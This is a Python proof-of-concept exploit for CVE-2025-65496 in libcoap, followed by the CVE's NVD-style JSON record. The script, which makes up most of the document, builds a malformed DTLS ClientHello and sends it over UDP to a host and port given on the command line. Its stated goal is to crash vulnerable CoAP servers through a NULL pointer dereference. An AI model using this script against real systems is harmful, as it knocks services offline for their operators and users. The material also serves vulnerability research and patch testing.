CVE-2025-65496

#!/usr/bin/env python3 """ CVE-2025-65496 PoC - libcoap DTLS NULL pointer dereference This PoC demonstrates sending a malformed DTLS ClientHello to trigger the NULL pointer dereference in coap_dtls_generate_cookie() """ import socket import struct import random def create_dtls_client_hello(): """Create a malformed DTLS ClientHello packet""" # DTLS record layer header content_type = 0x16 # Handshake version = 0xfeff # DTLS 1.0 (original) epoch = 0x0000 sequence_number = b'\x00\x00\x00\x00\x00\x01' # Handshake header msg_type = 0x01 # ClientHello length = 0x002d # Message length message_seq = 0x0000 fragment_offset = 0x000000 fragment_length = 0x002d # ClientVersion and random client_version = 0xfeff # DTLS 1.0 gmt_unix_time = struct.pack('>I', random.randint(0, 0xFFFFFFFF)) random_bytes = bytes(28) # Session ID (empty) session_id = b'\x00' # Cookie (malformed - trigger NULL ctx) cookie = b'\x00' # Empty or malformed cookie # Cipher suites cipher_suites = b'\x00\x01\x00\x01' # Minimal cipher list # Compression methods compression = b'\x01\x00' handshake = struct.pack('>B', msg_type) handshake += struct.pack('>I', length)[1:] # 3 bytes handshake += struct.pack('>H', message_seq) handshake += struct.pack('>I', fragment_offset)[1:] # 3 bytes handshake += struct.pack('>I', fragment_length)[1:] # 3 bytes handshake += struct.pack('>H', client_version) handshake += gmt_unix_time + random_bytes handshake += session_id handshake += cookie handshake += cipher_suites handshake += compression record = struct.pack('>BHH', content_type, version, epoch) record += sequence_number record += struct.pack('>H', len(handshake)) record += handshake return record def exploit(target_host, target_port=5684): """Send malformed DTLS packet to trigger vulnerability""" print(f"[*] Target: {target_host}:{target_port}") print("[*] Creating malformed DTLS ClientHello...") payload = create_dtls_client_hello() print(f"[*] Payload size: {len(payload)} bytes") print("[*] Sending malicious DTLS packet...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: sock.sendto(payload, (target_host, target_port)) print("[+] Packet sent successfully") print("[*] If vulnerable, target should crash with NULL pointer dereference") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_host> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5684 exploit(target, port)

{"cve": {"id": "CVE-2025-65496", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:47.203", "lastModified": "2025-12-01T17:00:40.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in coap_dtls_generate_cookie() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_SSL_CTX() to return NULL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1745", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}